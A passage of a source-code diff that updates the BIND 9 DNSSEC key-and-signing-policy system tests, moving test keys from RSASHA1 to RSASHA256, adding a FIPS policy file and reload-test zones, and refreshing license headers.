@@ -145,3 +166,15 @@ zone "step6.csk-algorithm-roll.kasp" {
 	file "step6.csk-algorithm-roll.kasp.db";
 	dnssec-policy "csk-algoroll";
 };
+
+dnssec-policy "modified" {
+	keys {
+		csk lifetime unlimited algorithm rsasha256 2048;
+	};
+};
+
+zone example {
+	type primary;
+	file "example.db";
+	dnssec-policy modified;
+};
diff --git a/bin/tests/system/kasp/ns6/policies/csk1.conf.in b/bin/tests/system/kasp/ns6/policies/csk1.conf.in
index e31b0f902e..a5ff042db8 100644
--- a/bin/tests/system/kasp/ns6/policies/csk1.conf.in
+++ b/bin/tests/system/kasp/ns6/policies/csk1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,7 +17,7 @@ dnssec-policy "csk-algoroll" {
 	signatures-validity-dnskey 30d;
 
 	keys {
-		csk lifetime unlimited algorithm rsasha1;
+		csk lifetime unlimited algorithm rsasha256;
 	};
 
 	dnskey-ttl 1h;
diff --git a/bin/tests/system/kasp/ns6/policies/csk2.conf.in b/bin/tests/system/kasp/ns6/policies/csk2.conf.in
index c43ba9edd2..6d290c3c32 100644
--- a/bin/tests/system/kasp/ns6/policies/csk2.conf.in
+++ b/bin/tests/system/kasp/ns6/policies/csk2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/kasp/ns6/policies/kasp-fips.conf.in b/bin/tests/system/kasp/ns6/policies/kasp-fips.conf.in
new file mode 100644
index 0000000000..810b91d6ad
--- /dev/null
+++ b/bin/tests/system/kasp/ns6/policies/kasp-fips.conf.in
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+dnssec-policy "unsigning" {
+	dnskey-ttl 7200;
+
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime P60D algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
+dnssec-policy "nsec3" {
+	nsec3param iterations 0 optout no salt-length 0;
+};
+
+dnssec-policy "rsasha256" {
+	signatures-refresh P5D;
+	signatures-validity 30d;
+	signatures-validity-dnskey 30d;
+
+	keys {
+		ksk lifetime unlimited algorithm rsasha256;
+		zsk lifetime unlimited algorithm rsasha256;
+	};
+
+	dnskey-ttl 1h;
+	publish-safety PT1H;
+	retire-safety 2h;
+	zone-propagation-delay 3600;
+	max-zone-ttl 6h;
+	parent-propagation-delay pt1h;
+	parent-ds-ttl 7200;
+};
+
+dnssec-policy "ecdsa256" {
+	signatures-refresh P5D;
+	signatures-validity 30d;
+	signatures-validity-dnskey 30d;
+
+	keys {
+		ksk lifetime unlimited algorithm ecdsa256;
+		zsk lifetime unlimited algorithm ecdsa256;
+	};
+
+	dnskey-ttl 1h;
+	publish-safety PT1H;
+	retire-safety 2h;
+	zone-propagation-delay 3600;
+	max-zone-ttl 6h;
+	parent-propagation-delay pt1h;
+	parent-ds-ttl 7200;
+};
diff --git a/bin/tests/system/kasp/ns6/policies/kasp.conf.in b/bin/tests/system/kasp/ns6/policies/kasp.conf.in
index 85c938509f..d634b76ffe 100644
--- a/bin/tests/system/kasp/ns6/policies/kasp.conf.in
+++ b/bin/tests/system/kasp/ns6/policies/kasp.conf.in
@@ -1,22 +1,17 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
-dnssec-policy "unsigning" {
-	dnskey-ttl 7200;
-
-	keys {
-		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
-		zsk key-directory lifetime P60D algorithm @DEFAULT_ALGORITHM@;
-	};
-};
+include "policies/kasp-fips.conf";
 
 dnssec-policy "rsasha1" {
 	signatures-refresh P5D;
@@ -36,22 +31,3 @@ dnssec-policy "rsasha1" {
 	parent-propagation-delay pt1h;
 	parent-ds-ttl 7200;
 };
-
-dnssec-policy "ecdsa256" {
-	signatures-refresh P5D;
-	signatures-validity 30d;
-	signatures-validity-dnskey 30d;
-
-	keys {
-		ksk lifetime unlimited algorithm ecdsa256;
-		zsk lifetime unlimited algorithm ecdsa256;
-	};
-
-	dnskey-ttl 1h;
-	publish-safety PT1H;
-	retire-safety 2h;
-	zone-propagation-delay 3600;
-	max-zone-ttl 6h;
-	parent-propagation-delay pt1h;
-	parent-ds-ttl 7200;
-};
diff --git a/bin/tests/system/kasp/ns6/setup.sh b/bin/tests/system/kasp/ns6/setup.sh
index e8a3c21af1..895c55c4c8 100644
--- a/bin/tests/system/kasp/ns6/setup.sh
+++ b/bin/tests/system/kasp/ns6/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -21,17 +23,6 @@ setup() {
 	infile="${zone}.db.infile"
 }
 
-private_type_record() {
-	_zone=$1
-	_algorithm=$2
-	_keyfile=$3
-
-	_id=$(keyfile_to_key_id "$_keyfile")
-
-	printf "%s. 0 IN TYPE65534 %s 5 %02x%04x0000\n" "$_zone" "\\#" "$_algorithm" "$_id"
-}
-
-
 # Make lines shorter by storing key states in environment variables.
 H="HIDDEN"
 R="RUMOURED"
@@ -54,7 +45,8 @@ do
 	cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
 	private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK" >> "$infile"
 	private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-	$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+	cp $infile $zonefile
+	$SIGNER -S -x -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 	# Step 2:
 	# Set up a zone with dnssec-policy that is going insecure. Don't add
@@ -75,7 +67,8 @@ do
 	cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
 	private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK" >> "$infile"
 	private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-	$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+	cp $infile $zonefile
+	$SIGNER -S -x -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 done
 
 # This zone is going straight to "none" policy. This is undefined behavior.
@@ -87,7 +80,20 @@ CSK=$($KEYGEN -k default $csktimes $zone 2> keygen.out.$zone.1)
 $SETTIME -s -g $O -k $O $TactN -z $O $TactN -r $O $TactN -d $O $TactN "$CSK" > settime.out.$zone.1 2>&1
 cat template.db.in "${CSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
+
+# This zone is going straight to "none" policy. This is undefined behavior.
+setup step1.going-straight-to-none-dynamic.kasp
+echo "$zone" >> zones
+TactN="now"
+csktimes="-P ${TactN} -A ${TactN} -P sync ${TactN}"
+CSK=$($KEYGEN -k default $csktimes $zone 2> keygen.out.$zone.1)
+$SETTIME -s -g $O -k $O $TactN -z $O $TactN -r $O $TactN -d $O $TactN "$CSK" > settime.out.$zone.1 2>&1
+cat template.db.in "${CSK}.key" > "$infile"
+private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK" >> "$infile"
+cp $infile $zonefile
+$SIGNER -S -z -x -s now-1h -e now+2w -o $zone -O full -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 #
 # The zones at algorithm-roll.kasp represent the various steps of a ZSK/KSK
@@ -101,14 +107,15 @@ echo "$zone" >> zones
 TactN="now"
 ksktimes="-P ${TactN} -A ${TactN} -P sync ${TactN}"
 zsktimes="-P ${TactN} -A ${TactN}"
-KSK=$($KEYGEN -a RSASHA1 -L 3600 -f KSK $ksktimes $zone 2> keygen.out.$zone.1)
-ZSK=$($KEYGEN -a RSASHA1 -L 3600        $zsktimes $zone 2> keygen.out.$zone.2)
+KSK=$($KEYGEN -a RSASHA256 -L 3600 -f KSK $ksktimes $zone 2> keygen.out.$zone.1)
+ZSK=$($KEYGEN -a RSASHA256 -L 3600        $zsktimes $zone 2> keygen.out.$zone.2)
 $SETTIME -s -g $O -k $O $TactN -r $O $TactN -d $O $TactN "$KSK" > settime.out.$zone.1 2>&1
 $SETTIME -s -g $O -k $O $TactN -z $O $TactN              "$ZSK" > settime.out.$zone.2 2>&1
 cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
-private_type_record $zone 5 "$KSK" >> "$infile"
-private_type_record $zone 5 "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+private_type_record $zone 8 "$KSK" >> "$infile"
+private_type_record $zone 8 "$ZSK" >> "$infile"
+cp $infile $zonefile
+$SIGNER -S -x -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 2:
 # After the publication interval has passed the DNSKEY is OMNIPRESENT.
@@ -123,8 +130,8 @@ ksk1times="-P ${TactN}  -A ${TactN}  -P sync ${TactN}  -I now"
 zsk1times="-P ${TactN}  -A ${TactN}                    -I now"
 ksk2times="-P ${TpubN1} -A ${TpubN1} -P sync ${TsbmN1}"
 zsk2times="-P ${TpubN1} -A ${TpubN1}"
-KSK1=$($KEYGEN -a RSASHA1            -L 3600 -f KSK $ksk1times $zone 2> keygen.out.$zone.1)
-ZSK1=$($KEYGEN -a RSASHA1            -L 3600        $zsk1times $zone 2> keygen.out.$zone.2)
+KSK1=$($KEYGEN -a RSASHA256          -L 3600 -f KSK $ksk1times $zone 2> keygen.out.$zone.1)
+ZSK1=$($KEYGEN -a RSASHA256          -L 3600        $zsk1times $zone 2> keygen.out.$zone.2)
 KSK2=$($KEYGEN -a $DEFAULT_ALGORITHM -L 3600 -f KSK $ksk2times $zone 2> keygen.out.$zone.3)
 ZSK2=$($KEYGEN -a $DEFAULT_ALGORITHM -L 3600        $zsk2times $zone 2> keygen.out.$zone.4)
 $SETTIME -s -g $H -k $O $TactN  -r $O $TactN  -d $O $TactN  "$KSK1" > settime.out.$zone.1 2>&1
@@ -135,11 +142,12 @@ $SETTIME -s -g $O -k $R $TpubN1 -z $R $TpubN1               "$ZSK2" > settime.ou
 echo "Lifetime: 0" >> "${KSK1}.state"
 echo "Lifetime: 0" >> "${ZSK1}.state"
 cat template.db.in "${KSK1}.key" "${ZSK1}.key" "${KSK2}.key" "${ZSK2}.key" > "$infile"
-private_type_record $zone 5  "$KSK1" >> "$infile"
-private_type_record $zone 5  "$ZSK1" >> "$infile"
+private_type_record $zone 8  "$KSK1" >> "$infile"
+private_type_record $zone 8  "$ZSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK2" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK2" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 3:
 # The zone signatures are also OMNIPRESENT.
@@ -153,8 +161,8 @@ ksk1times="-P ${TactN}  -A ${TactN}  -P sync ${TactN}  -I ${TretN}"
 zsk1times="-P ${TactN}  -A ${TactN}                    -I ${TretN}"
 ksk2times="-P ${TpubN1} -A ${TpubN1} -P sync ${TsbmN1}"
 zsk2times="-P ${TpubN1} -A ${TpubN1}"
-KSK1=$($KEYGEN -a RSASHA1            -L 3600 -f KSK $ksk1times $zone 2> keygen.out.$zone.1)
-ZSK1=$($KEYGEN -a RSASHA1            -L 3600        $zsk1times $zone 2> keygen.out.$zone.2)
+KSK1=$($KEYGEN -a RSASHA256          -L 3600 -f KSK $ksk1times $zone 2> keygen.out.$zone.1)
+ZSK1=$($KEYGEN -a RSASHA256          -L 3600        $zsk1times $zone 2> keygen.out.$zone.2)
 KSK2=$($KEYGEN -a $DEFAULT_ALGORITHM -L 3600 -f KSK $ksk2times $zone 2> keygen.out.$zone.3)
 ZSK2=$($KEYGEN -a $DEFAULT_ALGORITHM -L 3600        $zsk2times $zone 2> keygen.out.$zone.4)
 $SETTIME -s -g $H -k $O $TactN  -r $O $TactN  -d $O $TactN  "$KSK1" > settime.out.$zone.1 2>&1
@@ -165,11 +173,12 @@ $SETTIME -s -g $O -k $O $TpubN1 -z $R $TpubN1               "$ZSK2" > settime.ou
 echo "Lifetime: 0" >> "${KSK1}.state"
 echo "Lifetime: 0" >> "${ZSK1}.state"
 cat template.db.in "${KSK1}.key" "${ZSK1}.key" "${KSK2}.key" "${ZSK2}.key" > "$infile"
-private_type_record $zone 5  "$KSK1" >> "$infile"
-private_type_record $zone 5  "$ZSK1" >> "$infile"
+private_type_record $zone 8  "$KSK1" >> "$infile"
+private_type_record $zone 8  "$ZSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK2" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK2" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 4:
 # The DS is swapped and can become OMNIPRESENT.
@@ -184,8 +193,8 @@ ksk1times="-P ${TactN}  -A ${TactN}  -P sync ${TactN}  -I ${TretN}"
 zsk1times="-P ${TactN}  -A ${TactN}                    -I ${TretN}"
 ksk2times="-P ${TpubN1} -A ${TpubN1} -P sync ${TsbmN1}"
 zsk2times="-P ${TpubN1} -A ${TpubN1}"
-KSK1=$($KEYGEN -a RSASHA1            -L 3600 -f KSK $ksk1times $zone 2> keygen.out.$zone.1)
-ZSK1=$($KEYGEN -a RSASHA1            -L 3600        $zsk1times $zone 2> keygen.out.$zone.2)
+KSK1=$($KEYGEN -a RSASHA256          -L 3600 -f KSK $ksk1times $zone 2> keygen.out.$zone.1)
+ZSK1=$($KEYGEN -a RSASHA256          -L 3600        $zsk1times $zone 2> keygen.out.$zone.2)
 KSK2=$($KEYGEN -a $DEFAULT_ALGORITHM -L 3600 -f KSK $ksk2times $zone 2> keygen.out.$zone.3)
 ZSK2=$($KEYGEN -a $DEFAULT_ALGORITHM -L 3600        $zsk2times $zone 2> keygen.out.$zone.4)
 $SETTIME -s -g $H -k $O $TactN  -r $O $TactN  -d $U $TactN1 -D ds $TactN1 "$KSK1" > settime.out.$zone.1 2>&1
@@ -196,11 +205,12 @@ $SETTIME -s -g $O -k $O $TpubN1 -z $R $TpubN1                             "$ZSK2
 echo "Lifetime: 0" >> "${KSK1}.state"
 echo "Lifetime: 0" >> "${ZSK1}.state"
 cat template.db.in "${KSK1}.key" "${ZSK1}.key" "${KSK2}.key" "${ZSK2}.key" > "$infile"
-private_type_record $zone 5  "$KSK1" >> "$infile"
-private_type_record $zone 5  "$ZSK1" >> "$infile"
+private_type_record $zone 8  "$KSK1" >> "$infile"
+private_type_record $zone 8  "$ZSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK2" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK2" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 5:
 # The DNSKEY is removed long enough to be HIDDEN.
@@ -216,8 +226,8 @@ ksk1times="-P ${TactN}  -A ${TactN}  -P sync ${TactN}  -I ${TretN}"
 zsk1times="-P ${TactN}  -A ${TactN}                    -I ${TretN}"
 ksk2times="-P ${TpubN1} -A ${TpubN1} -P sync ${TsbmN1}"
 zsk2times="-P ${TpubN1} -A ${TpubN1}"
-KSK1=$($KEYGEN -a RSASHA1            -L 3600 -f KSK $ksk1times $zone 2> keygen.out.$zone.1)
-ZSK1=$($KEYGEN -a RSASHA1            -L 3600        $zsk1times $zone 2> keygen.out.$zone.2)
+KSK1=$($KEYGEN -a RSASHA256          -L 3600 -f KSK $ksk1times $zone 2> keygen.out.$zone.1)
+ZSK1=$($KEYGEN -a RSASHA256          -L 3600        $zsk1times $zone 2> keygen.out.$zone.2)
 KSK2=$($KEYGEN -a $DEFAULT_ALGORITHM -L 3600 -f KSK $ksk2times $zone 2> keygen.out.$zone.3)
 ZSK2=$($KEYGEN -a $DEFAULT_ALGORITHM -L 3600        $zsk2times $zone 2> keygen.out.$zone.4)
 $SETTIME -s -g $H -k $U $TremN  -r $U $TremN  -d $H $TactN1 "$KSK1" > settime.out.$zone.1 2>&1
@@ -228,11 +238,12 @@ $SETTIME -s -g $O -k $O $TpubN1 -z $R $TpubN1               "$ZSK2" > settime.ou
 echo "Lifetime: 0" >> "${KSK1}.state"
 echo "Lifetime: 0" >> "${ZSK1}.state"
 cat template.db.in "${KSK1}.key" "${ZSK1}.key" "${KSK2}.key" "${ZSK2}.key" > "$infile"
-private_type_record $zone 5  "$KSK1" >> "$infile"
-private_type_record $zone 5  "$ZSK1" >> "$infile"
+private_type_record $zone 8  "$KSK1" >> "$infile"
+private_type_record $zone 8  "$ZSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK2" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK2" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 6:
 # The RRSIGs have been removed long enough to be HIDDEN.
@@ -249,8 +260,8 @@ ksk1times="-P ${TactN}  -A ${TactN}  -P sync ${TactN}  -I ${TretN}"
 zsk1times="-P ${TactN}  -A ${TactN}                    -I ${TretN}"
 ksk2times="-P ${TpubN1} -A ${TpubN1} -P sync ${TsbmN1}"
 zsk2times="-P ${TpubN1} -A ${TpubN1}"
-KSK1=$($KEYGEN -a RSASHA1            -L 3600 -f KSK $ksk1times $zone 2> keygen.out.$zone.1)
-ZSK1=$($KEYGEN -a RSASHA1            -L 3600        $zsk1times $zone 2> keygen.out.$zone.2)
+KSK1=$($KEYGEN -a RSASHA256          -L 3600 -f KSK $ksk1times $zone 2> keygen.out.$zone.1)
+ZSK1=$($KEYGEN -a RSASHA256          -L 3600        $zsk1times $zone 2> keygen.out.$zone.2)
 KSK2=$($KEYGEN -a $DEFAULT_ALGORITHM -L 3600 -f KSK $ksk2times $zone 2> keygen.out.$zone.3)
 ZSK2=$($KEYGEN -a $DEFAULT_ALGORITHM -L 3600        $zsk2times $zone 2> keygen.out.$zone.4)
 $SETTIME -s -g $H -k $H $TremN  -r $U $TdeaN  -d $H $TactN1 "$KSK1" > settime.out.$zone.1 2>&1
@@ -261,11 +272,12 @@ $SETTIME -s -g $O -k $O $TpubN1 -z $R $TpubN1               "$ZSK2" > settime.ou
 echo "Lifetime: 0" >> "${KSK1}.state"
 echo "Lifetime: 0" >> "${ZSK1}.state"
 cat template.db.in "${KSK1}.key" "${ZSK1}.key" "${KSK2}.key" "${ZSK2}.key" > "$infile"
-private_type_record $zone 5  "$KSK1" >> "$infile"
-private_type_record $zone 5  "$ZSK1" >> "$infile"
+private_type_record $zone 8  "$KSK1" >> "$infile"
+private_type_record $zone 8  "$ZSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK2" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK2" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 #
 # The zones at csk-algorithm-roll.kasp represent the various steps of a CSK
@@ -282,7 +294,8 @@ CSK=$($KEYGEN -k csk-algoroll -l policies/csk1.conf $csktimes $zone 2> keygen.ou
 $SETTIME -s -g $O -k $O $TactN -r $O $TactN -z $O $TactN -d $O $TactN "$CSK" > settime.out.$zone.1 2>&1
 cat template.db.in "${CSK}.key" > "$infile"
 private_type_record $zone 5 "$CSK" >> "$infile"
-$SIGNER -S -x -z -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -z -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 2:
 # After the publication interval has passed the DNSKEY is OMNIPRESENT.
@@ -301,7 +314,8 @@ echo "Lifetime: 0" >> "${CSK1}.state"
 cat template.db.in "${CSK1}.key" "${CSK2}.key" > "$infile"
 private_type_record $zone 5  "$CSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK2" >> "$infile"
-$SIGNER -S -x -z -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -z -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 3:
 # The zone signatures are also OMNIPRESENT.
@@ -322,7 +336,8 @@ echo "Lifetime: 0" >> "${CSK1}.state"
 cat template.db.in "${CSK1}.key" "${CSK2}.key" > "$infile"
 private_type_record $zone 5  "$CSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK2" >> "$infile"
-$SIGNER -S -x -z -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -z -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 4:
 # The DS is swapped and can become OMNIPRESENT.
@@ -344,7 +359,8 @@ echo "Lifetime: 0" >> "${CSK1}.state"
 cat template.db.in "${CSK1}.key" "${CSK2}.key" > "$infile"
 private_type_record $zone 5  "$CSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK2" >> "$infile"
-$SIGNER -S -x -z -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -z -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 5:
 # The DNSKEY is removed long enough to be HIDDEN.
@@ -367,7 +383,8 @@ echo "Lifetime: 0" >> "${CSK1}.state"
 cat template.db.in "${CSK1}.key" "${CSK2}.key" > "$infile"
 private_type_record $zone 5  "$CSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK2" >> "$infile"
-$SIGNER -S -x -z -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -z -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 6:
 # The RRSIGs have been removed long enough to be HIDDEN.
@@ -391,4 +408,14 @@ echo "Lifetime: 0" >> "${CSK1}.state"
 cat template.db.in "${CSK1}.key" "${CSK2}.key" > "$infile"
 private_type_record $zone 5  "$CSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK2" >> "$infile"
-$SIGNER -S -x -z -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -x -z -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
+
+#
+# Reload testing
+#
+echo "example" >> zones
+cp example.db.in example.db
+
+setup "dynamic2inline.kasp"
+cp template.db.in $zonefile
diff --git a/bin/tests/system/kasp/ns6/template.db.in b/bin/tests/system/kasp/ns6/template.db.in
index 721d29cd97..f1d8b94e5a 100644
--- a/bin/tests/system/kasp/ns6/template.db.in
+++ b/bin/tests/system/kasp/ns6/template.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/kasp/setup.sh b/bin/tests/system/kasp/setup.sh
index 7994e9ec5c..67cfa92e7d 100644
--- a/bin/tests/system/kasp/setup.sh
+++ b/bin/tests/system/kasp/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -19,7 +21,13 @@ $SHELL clean.sh
 mkdir keys
 
 copy_setports ns2/named.conf.in ns2/named.conf
-copy_setports ns3/named.conf.in ns3/named.conf
+if ! $SHELL ../testcrypto.sh -q RSASHA1
+then
+	copy_setports ns3/named-fips.conf.in ns3/named.conf
+else
+	copy_setports ns3/named-fips.conf.in ns3/named-fips.conf
+	copy_setports ns3/named.conf.in ns3/named.conf
+fi
 copy_setports ns4/named.conf.in ns4/named.conf
 copy_setports ns5/named.conf.in ns5/named.conf
 copy_setports ns6/named.conf.in ns6/named.conf
@@ -33,11 +41,21 @@ if $SHELL ../testcrypto.sh ed448; then
 fi
 
 copy_setports ns3/policies/autosign.conf.in ns3/policies/autosign.conf
+copy_setports ns3/policies/kasp-fips.conf.in ns3/policies/kasp-fips.conf
 copy_setports ns3/policies/kasp.conf.in ns3/policies/kasp.conf
+if ! $SHELL ../testcrypto.sh -q RSASHA1
+then
+	cp ns3/policies/kasp-fips.conf ns3/policies/kasp.conf
+fi
 
 copy_setports ns6/policies/csk1.conf.in ns6/policies/csk1.conf
 copy_setports ns6/policies/csk2.conf.in ns6/policies/csk2.conf
+copy_setports ns6/policies/kasp-fips.conf.in ns6/policies/kasp-fips.conf
 copy_setports ns6/policies/kasp.conf.in ns6/policies/kasp.conf
+if ! $SHELL ../testcrypto.sh -q RSASHA1
+then
+	cp ns6/policies/kasp-fips.conf ns6/policies/kasp.conf
+fi
 
 # Setup zones
 (
diff --git a/bin/tests/system/kasp/tests.sh b/bin/tests/system/kasp/tests.sh
index d970491f2c..636e9acd3b 100644
--- a/bin/tests/system/kasp/tests.sh
+++ b/bin/tests/system/kasp/tests.sh
@@ -1,14 +1,18 @@
